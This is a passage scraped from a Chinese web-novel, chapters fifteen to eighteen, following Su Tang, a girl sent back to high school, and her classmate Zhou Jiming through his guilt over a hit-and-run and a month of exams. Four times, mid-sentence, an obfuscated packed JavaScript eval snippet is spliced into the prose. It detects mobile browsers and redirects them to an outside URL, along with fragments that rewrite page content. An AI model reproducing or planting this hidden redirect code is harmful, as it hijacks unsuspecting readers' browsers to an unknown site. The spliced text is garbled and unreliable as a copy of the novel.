“那倒不用，一起出去玩磕磕碰碰很正常，我来帮你擦点药酒吧。”说着，张建国拉着他走进了客厅，在沙发上坐了下来，“其实，你能出去找同学玩，我特别高兴，之前看你总一个人往网吧跑......” 张建国话说到一半，突然意识到自己竟无意间透露了跟踪周既明的事。 周既明虽早已知晓此事，却仍佯装骇然失色，“你跟踪我？” “你这孩子，怎么说话的。”张建国一边说，一边撸起周既明的裤脚，往掌心倒了点药酒搓热，随后按上他小腿那片微微肿起的皮肤，力道均匀地揉了起来，“我这不是关心你嘛。” “我去网吧就是放松放松，你不用太担心。我也没有认识什么不好的人。”他语气淡然而真诚。 他确实没有认识什么不好的人。 打他的那两个人，严格意义上来说，是他的朋友。 张建国微微颔首，眼角弯弯：“那苏棠呢？” 周既明瞧着张建国那副探究的眼神，没料到这老头竟也有如此八卦的时候。 他决定戏弄他一番，“备胎来的。” “啊？你把人家当备胎啊？这不太好吧......”张建国满脸的难以苟同。 “不是。”他轻笑一声，摇了摇头，故意皱眉，“是我在给人家当备胎。” “啊？这也不太好吧......”张建国难为的五官快要皱成一团，他停下手上的动作，思索了一番，“备胎就备胎吧，只要你跟着正经的同学混，好歹算个正经的备胎。” 什么逆天言论。 周既明难以置信地望着张建国。 经过一番娴熟的推拿，周既明的小腿渐渐发热，疼痛消了一大半。 “好了，去躺着歇会儿吧。”张建国不容置疑地朝周既明的卧室方向扬了扬下巴。 “遵命。”他拖长声调，懒洋洋地支起身子，朝卧室方向走去。 若继续留在客厅，只怕会被追问更多难以回答的问题。 他应付得有点累了。 往床上一倒，顺手拿起手机，翻看刚进来的短信。 手机屏幕上显示着“新短信来自：文杰”。 文杰正是上午在网吧后巷对他动手的，年纪稍长的那个少年，而另外一个年纪较小的名叫文斌——二人实为亲兄弟。 他闭上眼睛，将手机贴在额头上，金属外壳的凉意伸渗进皮肤。 一些尘封的往事，忽如潮水般涌上心头。 那还是他初三那年的事。 初次结识这对兄弟，是在黎城市中心医院的病房里。 当时，兄弟俩的母亲和他的母亲同住一间病房。 她们罹患同一种残酷的绝症，乳腺癌。 但兄弟两比他稍稍幸运一些，他们的母亲尚处癌症中期，还有治愈的希望。 而他的母亲，当时已经是癌症晚期，癌细胞发生了转移。 就在他考入黎城一中的那个夏天，他的母亲如医生预言那般，离开了人世。 在他母亲住院期间，他与外公张建国轮流陪护，因而常与同样照顾母亲的文杰、文斌常常碰面。几次往来后，几人便熟络起来。 文杰文斌是平县人，但因为文杰在黎城上高中，加上要给母亲治病，他们娘仨就搬到黎城居住，只有父亲还在平县干活。 他们家情况和周既明家差不多，他的父亲也在平县。 文杰比周既明高一级，听说周既明考上了全市最好的高中后，专门送了本《高中数学题典》当贺礼。 那本砖头厚的书囊括了高中所有的数学题型，现在还被放在他的卧室书桌上。 他扫了眼床头边书桌上摊开的题典。 这两年，他已经刷完了三分之二。 文杰读的只是所普通高中，对年纪比他小，但是成绩更加优秀的周既明打心底里佩服。 周既明高一前的那个暑假，文杰拉着他提前学了高一的数学和物理。 虽然从没学过高中知识，但周既明光靠看书就能把练习题做得八九不离十。 文杰非常羡慕他的自学能力。 “你这脑瓜子灵得很，在黎城一中绝对能混成这个！”文杰竖起大拇指，合上高一物理书，朝周既明投去赞赏的目光。 那时的周既明，还是个刚初中毕业的青涩少年。 面对学长的夸奖，他开心之余不知如何回应，最后只笨拙地憋出一句：“你......你也一定能考上好大学。” 因为有文杰的陪伴，周既明在医院的日子才没那么难熬。 他被激起了一点信心，就算母亲已经瘦得皮包骨，羸弱得不成样子，他还是抱着终有一天她能好起来的希望。 毕竟，她答应过要看他考上一个好大学。 他相信自己能考上一个好大学，所以也相信母亲会好起来。 可命运终究没有给他奇迹。 母亲刚撑到他高中开学典礼结束，就在医生的预判时间内猝然离世。 他去医院收拾母亲的遗物时，发现文杰也在收拾病房里的东西。 “阿姨是不是好了？”尽管他仍深陷丧母之痛，但是他衷心希望文杰母亲能够痊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180869|180959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愈出院。 文杰垂下头，声音有些沙哑，“不是，我们没钱继续治疗了。” “为什么？”他难以置信地追问。 “我爸撞死人了，还撞残了一个，法院判决下来了，要赔一百多万。”文杰抬起头，眼泪在眼眶里打转，嘴角却扯出个笑，“这下好了，不用再纠结治不治了，反正也治不起。” 周既明双腿一软，眼前阵阵发黑，险些要跌倒在地。 文杰连忙将他扶了起来，“怎么了，把你吓着了吗？” 他被扶到病床边坐下。 却仍感觉世界天旋地转。 文杰的父亲，是当时载自己的那个司机吗？ 初二下学快结束时，他从黎城回了一趟平县，准备参加他父亲的二婚婚礼。 可到了平县汽车站，说好来接他的父亲却没露面，他只好随手拦了辆黑车。 载客的私家车司机明显疲劳驾驶，车速飚的极快。他提醒了好几回，司机全当耳旁风。 结果，离目的地就差一个路口时，车子猛地撞翻一辆三轮车。三轮车上坐了一对夫妻，被撞得飞出好几米。 他当时就想下车查看，司机却左右张望了一圈，确定没有摄像头后，直接调转方向，从另一条路开向他原本要去的地方。 临下车前，那个司机恶狠狠地威胁他不准乱说，否则要他好看。 大概是看他年纪小又一副胆小怕事的样子，没有对他做出什么出格的行为，反倒把他送到了目的地。 他下车时偷偷记下车牌号，等到了父亲的新家，才用父亲的手机报警，把车祸的经过和涉事车辆的车牌号全盘托出。 所以，那个司机，是文杰的父亲？ 他发了疯似的用拳头砸自己的脑袋。 文杰连一把攥住他疯狂捶打自己的手腕，厉声喝道：“你怎么了？” “你爸爸的车牌号，是不是......”他用哀求的眼神望向文杰，祈求这是一场误会。 但文杰难以置信的眼神让他的幻想破灭。 他不记得那天的后续，只知道最后也和今天一样浑身是伤。 从那天起，文杰和文斌就和他彻底断了来往，每次碰面不是拳脚相加，就是逼他掏钱。 而他，也心甘情愿的赎罪。 他清楚，文杰父亲是咎由自取。 可文杰和他病重的母亲是无辜的。 他的那次举报，像一把刀，生生切断了文杰母亲最后的生机。 他成了压垮那个早已支离破碎家庭的最后一根稻草。 从那以后，他发了疯似地攒钱，再把这些钱通过近乎自虐的方式，一笔笔送到文杰手里。 仿佛这样就能赎清心中的罪。 鱼跃网吧，是他们心照不宣的“交头点”。 虽然每次都免不了被打一顿，但他仍然心甘情愿地等候在那里。 于是，才有了早上被苏棠看见的那一幕。 他慢慢举起手机，正要查看短信，却在点开的瞬间，又收到一条陌生号码发来的新消息。 按下“确认”键。 【我安全到家啦，你记得擦药酒】 是苏棠。 他刚刚还在想，他忘记告诉她自己的号码了。 所以，她怎么会有他的手机号？ 16. 第十六章 苏棠决定先不回家，先去去便利店前方的一家小型书店走走。 “怡人书屋”，苏棠抬头看了看书店的招牌，走了进去。 她来到一排摆满了言情小说的书架前，想找一些已经开封了的书随便看一看。 她打开了一本名叫《红色高跟鞋》的书，很快被里面的都市恋爱剧情吸引。 突然，背后传来一个熟悉的声音。 一个少年问道：“老板，有新书吗？” 老板：“有，已经摆上去了。” 一阵脚步声朝她走来。 “欸，班长，真的是你。” 是顾野的声音。 苏棠转身和他挥手打招呼，他阳光帅气的脸庞瞬间映入她的眼帘。 她有点羞愧，她正站在一排放满网络小说的书架跟前——那些花花绿绿的言情风封面，以及文艺酸涩的书名，会不会让他觉得她的品味不是太能摆得上台面。 “班长，你也喜欢看网络小说呀。” 顾野蹲了下去，从书架的最下方开始端详架上的书籍。 他看的是男频类和权谋相关的网络小说，苏棠松了一口气。 “对呀对呀，你在找什么？”苏棠也跟着蹲了下来。 察觉到苏棠的动作，顾野的头转了过来，朝她笑了一下：“没有，新书到了我都会来看一看，看到合眼缘的就会买，但也差不多是盲选，买到的小说质量参差不齐，好看全靠运气。” 苏棠的视线在下层的书架上扫视，然后在一本似曾相识的红色书本上停了下来，她伸手拿来那本书。 全红的封面正中是一朵暗红的烈焰，上面包裹着金色的几个大字“烈焰前朝”，是她认识的那一本。 “这本好看。”她拿着书本朝顾野眼前晃了晃。 “刚上你就看过啦？”顾野笑问道。 “我朋友推荐的，他追的网文。” “行，刚好最近文荒，就买它了。” 顾野拿过苏棠手中的书，站起身，准备去收银台买单，“班长，你选好了吗？一起？” 苏棠拿了一本相同的书，朝顾野笑了笑。 然后他们一起结了帐，在书店门口告别。 苏棠目送顾野离去，直到他的背影彻底消失在人潮之中。 她低头看着手里的书，想起了周既明。 这是他最喜欢的网络小说。 她又朝书店里边望去，然后走了进去，把刚刚那本《红色高跟鞋》也买了下来。 苏棠抱着两本书回到了家。 她马不停蹄地赶回卧室，把买来的书放到书桌上，找到手机，发了一条短信给周既明。 【我安全到家啦，你记得擦药酒】 几乎是下一秒，就收到了对面的回信。 “你怎么知道我的号码？我刚刚还在想忘记给你我手机号了。” 她看着周既明发来的短信，猛地一拍脑门—— 又搞混了。 她对周既明的手机号码烂熟于心，而刚刚分别的时候他又提醒她到家要报备，于是她毫无防备地发了短信。 而刚好，现在的周既明用的手机号和她记得的是同一个。 她咬了咬手指，然后回复：“你之前告诉我的，可能你忘了。” 然后，把手机丢到床上，心安理得地下楼去帮许春梅张罗晚饭，“妈，我回来啦。” “去哪鬼混，出门一整天。”许春梅打趣道。 吃完饭，苏棠让许春梅上楼休息，自己收拾桌子洗碗。 她很享受穿越回来后的周末时光，因为可以吃许春梅做的饭，吃完饭还可以陪她看电视，这对未来的她而言，是很难得的温情时光。 苏棠大学毕业后留在了当时大学所在的S城，虽然S城和黎城隔得不远，但是高铁也要差不多两个小时。所以她每个月最多只回家一次，每次都只有短短不到两天时间。 洗完碗她本想和许春梅一起看电视，却发现许春梅早早洗完澡进了房间，估计是白天开店太累想早点休息。 她只好转身回屋，打算继续复习，可白天经历了太多事，根本静不下心来。 躺上床，开始看刚买回来的小说。她拿起《红色高跟鞋》准备看，却又在看了几行以后发现看不进去，又转头开始看《烈焰前朝》。 她知道这本书的大致剧情，因为周既明在给她安利的时候说过。 那会他们刚毕业。因为刚入职场工作拼命，每到周末都全身乏力精神萎靡，哪里都不想去。所以工作第一年的每个周末，他们都一起窝在出租屋里看小说或者电视。 周既明非常酷爱架空背景的权谋类小说，他喜欢看无权无势的男主在险恶的时代背景里摸爬打滚练就一身本领，然后不断爬上高位最后完成复仇的故事。 苏棠一直对这种类型的小说不太来电，她觉得这就是男性作者的意淫——男主打脸逆袭、全程开挂也就算了，还安排一堆女性角色去为男主开路，对还是无名小卒的男主爱得死去活来，她觉得完全不符合现实。 “这种金手指大爽文不就是纯意淫吗？还特意创造出一个朝代来意淫，有啥意思？”苏棠在听完周既明的安利后轻飘飘地吐槽。 周既明蹬了她一眼，刚刚脸上的兴奋劲瞬间消失。 “你看那些爱来爱去的就不是意淫，霸道总裁爱上平平无奇的一个女的，你那都不是意淫，是纯纯的痴人说梦。” 周既明的嘴真的很毒辣，每次吵架都要占上风，完全没有绅士风度。 事后发现怼的苏棠太狠，惹的她情绪不佳，又会摇着尾巴前来示好，虽然还是死鸭子嘴硬不肯道歉，但常常会通过美食轰炸的方式逼她和他和好。 她想到周既明伏低做小的样子，不禁笑了一下。 那个时空的他，现在在干什么呢？会因为痛失自己这个日常搭子而感到不习惯吗？ 她翻开书的第一页，开始看了起来。 三个章节过后，她竟意外觉得不错。 留着等月考完后看。 合上书本，她起身去洗澡。 * 周一升旗仪式。 因为周日晚上又熬了一个大夜整理化学和生物的思维导图，今早苏棠险些迟到。 黎城一中在周末返校时间上的安排比其他学校松动，学生可以周日下午返校，也可以周一早上再去。 她匆匆从校园大门冲到操场时，各班早已列队完毕。 她小跑着赶到高二五班的队伍前，累得直喘粗气。 周既明见苏棠姗姗来迟，主动和她打招呼：“苏棠，早，人数我已经点好了，男生到期了，女生程望舒请假。” 相当友好的状态，应该是不生她的气了。 苏棠点了点头：“好的。” 他们回到各自的队列里。 苏棠和周既明都站在队伍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180870|180959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的最后方，苏棠因为身材高挑站在女生队列的最后一个，而周既明则站在她旁边队列的倒数第三个位置。 她从后面偷偷地看他。 他的脊背挺得笔直，穿了一件白色T恤和深灰色的工装裤，修长的身影一动不动。阳光斜照在他侧脸，从侧后方能看到他那睫毛下透光的琥珀色瞳孔。 其实他也蛮好看的。不同于顾野那种张扬的少年帅气，周既明的好看给人一种冷峻感。他的轮廓线条干净利落，从眉眼到下颌的弧度透着硬朗，偏偏眼神又冷得摄人，让人不敢直视太久。 只有像现在这样，借着余光从后侧方打量，才能好好看清他的模样。 “在这最后的几个月里，让我们全力以赴，为青春画上无悔的句号”主席台上，高三学生代表又一次结束了每周例行的打鸡血演讲。临近高考，这样的激情演讲已经成为每周升旗仪式的固定流程。 学生代表发言后，高二的教导主任补充了两句：“高二的同学请注意，高二的同学请注意，今天下午放学后务必把教室的书籍都搬离，老师晚自习期间要布置这个月的月考考场。” 该来的还是来了，但没关系，她已经做好全副武装。 她无心再打量身旁的周既明，从裤兜里掏出一本小本的《高中英语高频词汇》，背了起来。 “abandon，abandon。” 学了十几年英语，重新翻开高中英语词典第一页还是这个劝人放弃的单词。 当年她就觉得这兆头不太吉利。 编书的人就不能换个开头吗？ 她飞快跳过这个晦气的单词，继续往下背诵。 “今天的升旗仪式到此结束，请同学们有序地回到自己的教室。” 苏棠机械地转身，朝教室走去。 一边走，一边低着头继续默背单词。 她英语功底扎实，基本只是过一遍单词，确认一下拼写。 升旗仪式这会儿功夫，小本词典已经被她翻了将近一半。 因为一直低着头，她冷不丁撞上了前面的人。 “同学对不起！我没注意看路......”她慌忙道歉。 “呵......难怪英语这么好，”周既明的声音从头顶上飘下来，带着几分玩味，“走路都不忘背单词。” 她抬头，周既明被阳光镀了层金边的脸映入眼帘，带着几分戏谑的脸过于接近，近得她心跳都乱了一拍。 “吓死人了！你走路不长眼睛啊？” 发现是周既明后，她立刻倒打一耙。 “大姐，你走我后面还撞上来，讲点道理行不行？” 面对苏棠的倒打一耙，周既明气极反笑。 苏棠自知无力，赶紧转移话题：“你复习好了吗？” 两人并肩一起往教室走去。 “我没有复习的习惯，考试就该检验真实水平，复习跟作弊有什么区别？”周既明语气稀松平常。 苏棠惊觉，原来他学神的气质，早在高中就有所展现。 她当年竟有眼不识泰山。 走到教室旁的楼梯口，她让周既明先进教室。 “干嘛？”他挑眉。 “避嫌。”她后退半步，目光飘向远处。 “避哪门子嫌？”周既明不依不饶地追问。 见他不听从安排，她直接大步绕过周既明，从前门进了教室，把他晾在原地。 17. 第十七章 避哪门子嫌？当然是程望舒啊。 她可不想让程望舒误会自己跟周既明关系密切。 程望舒见她回来时手里还攥着英语高频词典，合上数学练习册，笑眯眯地问：“你这次怎么这么用功？” 程望舒向来有话直说。 不用功的话，这次月考一定会完蛋，虽然现在也没有把握能考好，苏棠心里想。 “最近状态不好，临时抱个佛脚。”苏棠边说边坐下，顺手从抽屉里抽出数学练习册。 然后朝程望舒尴尬地笑笑。 程望舒很少见苏棠为考试担忧，她觉得苏棠近来变得有点......不务正业。 去网吧被抓被罚，上课也不好好听课...... 种种迹象表明，她可能结交了一些不太好的人，被带坏了，程望舒推测。 “苏棠，你最近有和谁走得比较近吗？”程望舒趴在课桌上，眉眼朝苏棠看去。 苏棠嘴角一抽，心想，难道她和周既明的事情被她发现了？ 她假装疑惑：“和你走得近啊，没有别人，怎么了？” 程望舒摇摇头：“随便问问。” 然后，她们各自开始了临阵磨枪的备考冲刺。 一个白天，苏棠都在偷偷学数学，她想把课本上的例题都刷一遍。 语文课上，语文老师发现苏棠没在听课。 她走到苏棠她们课桌旁，抓住了正在做数学练习题的苏棠以及正在看物理定理的程望舒。 “看来语文还是考得太简单了，不然怎么没人利用其它课复习语文，反倒全在语文课上偷偷刷数理化？”语文老师的声音像钢针般刺透教室，她斜眼瞥向还在埋头复习的两人，突然拔高嗓门，“你们两个，给我出去。” 一声尖锐的呵斥，苏棠和程望舒两人惊得站了起来。 惊慌失措地朝教室门外走去。 她们站在教室的后门外面，因为从座位上走去教室的后门，路程更短，经受的目光也最少。 她俩在教室后门贴着窗户站，目光望向正前方的走廊栏杆，栏杆上是一棵叫不出名字的大树，树冠上的树叶伸进了走廊来。 程望舒的头向苏棠靠近，低声说了句：“好丢人哦。” 随后笑了出来。 苏棠也跟着笑了出来。 教室里传来讲课的声音。 周既明透着窗户往外望去，注视着苏棠的身影。 苏棠隐隐觉得有视线落在自己的身上，但她不敢回头看，怕又被语文老师抓到。 刚刚的练习题明明很有思路，突然被打断，她感到有点恼火。 她重新在脑海里推演起刚刚的计算过程。 * 午饭后，苏棠和程望舒不约而同朝着学校后山走去。 临阵磨枪要进行到考试前的最后一刻。 她们在后山遇到了同样临阵磨枪的顾野。 “体委，你怎么也在这。”程望舒率先问道，她牵着苏棠在顾野正对面的的长椅坐下。 苏棠心中有些诧异，看来顾野上次在后山复习不是临时起意。 应该和她一样，已经连续复习好几天了。 “我？就随便装装样子复习呗。”顾野自嘲地扯了扯嘴角，“不然对不起自己的良心。” 他这次的态度和上次判若两人，话里话外都透着心虚和掩饰。 可能是程望舒也在场的缘故。 顾野和程望舒初中就是同班同学，后来一起直升进了黎城一中的高中部。 苏棠一直觉得他们很般配。 当初在高一开学全班自我介绍环节，她就只记住了两个人，一个是程望舒，一个是顾野。 “程望舒，希望的望，舒适的舒，出自楚辞里面的‘前望舒使先驱兮，后飞廉使奔属’，是月神御者的意思，我爸爸希望我能始终前往明亮的方向......” “顾野，野火烧不尽，春风吹又生......” 自带贵气却不显张扬的穿着打扮，城市孩子被精心豢养才有的姣好的容貌，不卑不亢的谈吐，听起来就很难忘记的名字。 这是当时苏棠对这两人的概括。 她早些年和大家一样，都觉得这两人应该会在一起。 可实际上，这两人一碰面就火药味十足，说话都夹枪带棒。 听到顾野的自嘲，程望舒毫不客气地拆穿：“装模做样给谁看？要复习就认真复习，别整这些虚的。” 顾野继续反驳：“背了也没用啊，也不会用，到时候也是瞎写，最多拿个同情分。” 程望舒一听顾野这摆烂言论，顿时恨铁不成钢：“自己作的孽自己受！谁让你平时不努力？我可听我妈说了，你再考砸，你妈立马解散你的篮球队！” 程望舒向来看不惯身边的人“自甘堕落”，她可以接受努力后仍然得不到回报，比如她自己。但她无法接受这种不想付出努力却又怨天尤人的行为。 “他们奈何不了我，他们总不能来学校捆住我吧，很早他们就扬言要把我的篮球队解散了，结果呢，到现在不也拿我没办法。”顾野听出程望舒语气里的轻蔑，“我想的很开，我也没打算要考什么名牌大学，我就想上个体校或者军校，能方便我继续打球，学习上我也没有摆烂，我是真学不会。” 眼见两人之间火药味渐浓，苏棠赶紧调停。 “抓紧复习吧，午休时间可不等人。” * 时间很快来到月考当天。 苏棠和程望舒一同吃完早饭，在高二教学楼一楼大厅分别。程望舒的考场在同栋教学楼的15班，而苏棠因为上个期末考进了全级前三十，考场被安排在学校图书馆。 考试期间，教学楼通往图书馆的这条小路被学生誉为星光大道，走上这条路的学生通常被认为半只脚踏入985大学的大门。 下一次，苏棠不知道还能不能踏不上这条星光大道了。 她拿着饭卡走到图书馆门口，监考老师拿过她的饭卡，核对了一下上面的学号信息，开门给她进去。 黎城一中的每次月考都在流程上下足了功夫，考场、考前核验、监考，每一个环节都高度对标高考的真实情况，为了让学生能够提前适应高考的流程和场景。 她进了图书馆的考场，发现同一个考场的还有周既明和李倩。高二一共五个实验班，前30名他们五班只占了3个，成绩实在是远远落后其他班级。 “嗨，班长。”李倩看到苏棠，主动上前打招呼。 苏棠挥手示意。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180871|180959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你复习的怎么样啊，争取这次靠近全级前三，替我们班争光呀。”李倩说。 苏棠脸上露出了难为的脸色，苦笑了一下，“我尽力吧。” 她心想，这次能及格估计都要偷笑。 “大家找到自己的位置，不要聊天了，检查一下自己的文具，把每一次考试都当成高考看待。”监考老师拿着试卷走到了台上。 台下的学生纷纷回到自己的座位上。 苏棠坐下前往周既明的位置望了望，他在她的右后方，望向他的时候他正看向窗外，一手托腮一手悠哉地转着笔。 看起来对这次考试胸有成足呀。 试卷发了下来，第一门考的是语文。 拿到卷子，苏棠第一时间先看作文。她依稀记得一些考过的作文题目，虽然无法确定这次月考会考哪一个，但她把能想到的题目都做了对应的作文素材收集。 作文的题目是，命题作文，《回到原点》。 是苏棠准备好的其中一篇，她心中大喜，决定趁着作文素材还没忘记先写作文，作文写完再做前面的题目。 两个小时过去了，她做题做地很是顺畅，提前半小时完成了答卷。 她开始检查，虽然语文这门科目惯来不存在粗心大意这一说，但她还是仔仔细细地检查了两边，检查的重点放在答题卡有无填涂错误这些地方上。 考试结束铃响起时，她自信地把试卷和答题卡交了上去。 看来这次稳了。 她收拾文具，准备去吃饭，却发现一个高大的身影出现在自己身旁。 “苏棠，一起吃饭吗？” 听到那熟悉的声音，她有些意外。 周既明竟然主动来邀她吃饭，看来周六救他那事，真拉近他们之间的关系。 她很想答应，但她已经约好了程望舒：“可我和舒舒约好在食堂门口等了......” 周既明表情瞬间暗淡了下来，她捕获了那瞬间失落的表情，不知为何心里有点愧疚。 “那我下午考完和你一起吃。”她下意识地说了这句话。 周既明勾嘴笑了笑，“那我下午考完在图书馆门口等你。” 说完，就走出了考场。 苏棠还僵在原地。 刚才自己是在......讨好周既明？ “同学，赶紧去吃饭了，下午还要考数学呢。”监考老师清点完试卷准备离场，看到苏棠还在座位上慢悠悠地收文具，语气严厉地提醒道。 数学，听到这个词，苏棠心里感到有些压力。 不用紧张，画了整整一本数学思维导图，一定可以的。 她有些有气无力的朝食堂走去，发现程望舒已经在一区食堂门口等候多时。 “苏棠，你怎么了？”看着苏棠一副被榨干了精神的模样，程望舒问道。 苏棠深吸了一口气，对着程望舒尴尬地笑了笑：“恐惧使然。” “下午的数学？”程望舒瞬间意会。 苏棠闭眼微笑点头，诡异的神情让程望舒看了毛骨悚然，“要是考试结果出来你拿个大满贯我就和你绝交，你这虚伪的女人。” 她希望程望舒的“吉言”能成真。 暗自决定中午回去宿舍再突击一下。 18. 第十八章 下午两点，图书馆考场，数学卷子发了下来。 苏棠浏览了一遍卷子，觉得题目都很熟悉，于是满怀信心的做了起来。 但很快，她就意识到问题所在。 她能背下那些定理和公式，但是因为练习量太少的缘故，她没有解题的思路。 而且，计算的速度实在是太慢。 她勉强写了几道基础的选择题和填空题，剩下的题目完全无从下手，只好随便蒙个答案，或者瞎编个数字填上去。 选择题和填空题还能靠蒙，但这些大题，除了写个“解”字，她不知如何是好。 她想起了大学的期末考试，只要把卷面写得满满当当，起码会考个及格。 她决定故技重施。 这次的考试综合了高一高二两个学年的所有数学知识点，一道大题糅杂了好几个板块的内容，看的苏棠眼花缭乱。 她只能拆解出题目所考的考点，然后把考点相关的背诵下来的定理或者公式全部写在上面。 一张数学卷子，给她写了满满当当的文字。 她当年究竟是花了多大的功夫，才能考到那样的成绩，苏棠心里感叹。 距离考试还有一个小时，她就已经停笔了，吓得她邻桌的人马不停蹄奋笔疾书，嘴里轻声吐槽了句“我去，这么快”。 她在心里偷笑，瞎写当然快。 她回头望望周既明，他还在埋头做题，专心的样子像是正在埋头吃饭的小狗。 最近苏棠看周既明，总是不自觉把他脑补成一只小狗。 有点可爱又有点脆弱的样子。 “做完的同学可以检查一下，不要东张西望。”台上的监考老师厉声说道，分明就是在点苏棠的名。 苏棠迅速回过头来，拿起桌上的笔，假装在草稿纸上演算。 漫长的考试时间过去了，考试铃声响起。 监考老师按顺序收卷，收到苏棠的卷子时，目光里充满了震惊，她看着苏棠满卷子的中文字，难以置信地抬头望了望苏棠。 苏棠不好意思地笑了笑。 她试图推敲监考老师的内心变化，应该会从惊讶她的做题速度到大跌眼镜吧。 收好文具，她朝图书馆门外走去。 看到了正在等她的周既明。 “走吧！”她语调轻扬，脚步已经迈了出去。 周既明瞧着苏棠轻快的模样，心想这次考试她八成考得不错。 周末时，他复盘了和苏棠的种种。 他突然想通了。 既然这女人三番五次来招惹他，不如陪她过过招，看看她究竟想干嘛。 当然......要是顺势把她追到手，似乎也不错。 所以，上午考完试，他抱着试试看的心态约她吃饭。 她先以“没空”婉拒，随即话锋一转：“不过下午可以。” 好一招欲擒故纵。 他们一起朝着食堂走去。 排队时，他特意问苏棠：“苏棠，考试成绩出来后，我可以选你和我一起组学习互助小组吗？” “学习互助小组”，这是班上众所周知的变相的早恋或暧昧小组。 男生如果主动邀请女生组建学习小组，就等于变相发出“我对你有意思”的信号。 他想借着这个由头试探一下苏棠。 要是被拒，就以“真心求教”为由体面撤退。 横竖不亏。 他们正排在黄焖鸡米饭的长队里，队伍半天都没挪动一步。 面对周既明突如其来的邀请，苏棠心里盘算了一下。 这次月考她十有八九考砸了，尽管上午她还信心十足。 按照学习小组的规定，成绩下滑就得解散，她和程望舒坚持了两年多的“c*p”怕是要完。 届时，她还是要找一个合适的人组成小组。 班上除了之前的她，成绩能排上号的也就周既明和同宿舍的李倩。 李倩虽是她的舍友，但性格孤僻，向来独来独往，每次都是随便找个落单的同学凑数，根本不是真心互助学习。 找她的话，大概也只是走个过场。 而周既明的理科堪称一绝，除了语文和英语拖后腿，单论理科成绩能在全年级排上名次。 他辅导能力一流。 她大学的时候就深深地领略过。 短期内想通过找人帮助提升成绩，他是不二之选。 她短暂地衡量后，点了点头，“没问题，到时候我帮你补语文英语，你负责拯救我的理科。” 周既明却一脸惊愕。 就这样轻轻松松地就答应了？ 不再推拉一下？ * 晚自习自习课上，苏棠气定神闲，一改之前临阵磨枪的紧张状态。 “看来，考得不错哟。”程望舒假意叹气，“你这个虚伪的女人，我现在就要和你绝交。” 苏棠看程望舒装模作样，没好气地回答：“不是，我这次估计要滑铁卢了。” 程望舒听苏棠语气信誓旦旦，停止了玩闹，转过头去认真地问道：“你认真的？” 她虽然羡慕苏棠的好成绩，但从未有过希望还有退步的阴暗念头。她希望通过自身努力追赶甚至超越苏棠，但不是以对方退步这种方式。 “是啊，考的一塌糊涂，没有可以挽救的余地。”苏棠语气轻飘飘，她突然想起周既明约了她组学习小组，补充道，“那我们那个互帮学习小组要解散了，舒舒，你先提前物色好组员。” 却在话刚落下的下一秒，心里咯噔了一下。 程望舒不会介意吧。 傍晚答应周既明时，她满脑子都是提升学习成绩这个事情，完全忘了还有程望舒这茬。 到时候跟她解释清楚，等下次考好后再解散小组，她应该不会太在意。 毕竟，她和周既明套近乎，也方便给程望舒助攻。 不知是出于对知识的渴望，还是出于别的原因，她希望考试赶紧结束，新的学习互助小组快点组建起来。 * 第二天的考试结束得比苏棠预想的还要快。 她英语考得还不错，但理综则如料想般写的一塌糊涂。 考完后需要放松，她决定去操场边上散散步。 不知不觉，她走到了篮球场边上。 她看到篮球场上，顾野正在挥汗如雨的身影。 她习惯为他驻足。 “顾野加油。” 篮球场边上聚了一群女生，看起来是高一的学妹。 下次，她也混进那人群里，大胆地为他加油一次吧，苏棠暗自下了决心。 “在看球？”周既明不知何时已站在她的身旁。 她吓了一跳，发现是周既明后抬眼打量他的表情，他的目光也向篮球场上望去，表情淡淡，看不出有什么情绪。 苏棠：“对啊，随便走走，随便看看，放松一下。” 周既明：“你真的这么喜欢篮球吗？” 苏棠心里清楚。 他真正想问的是，她到底是真心爱看球，还是只爱看打球的那个人。 这个场景，就像当年周既明一眼看穿她心思那样。 她顾左右而言他：“怎么了，你要打给我看呀。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180872|180959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>周既明摇了摇头，表情依然淡淡：“我不太喜欢这种团体协作的运动，我比较喜欢乒乓球。” 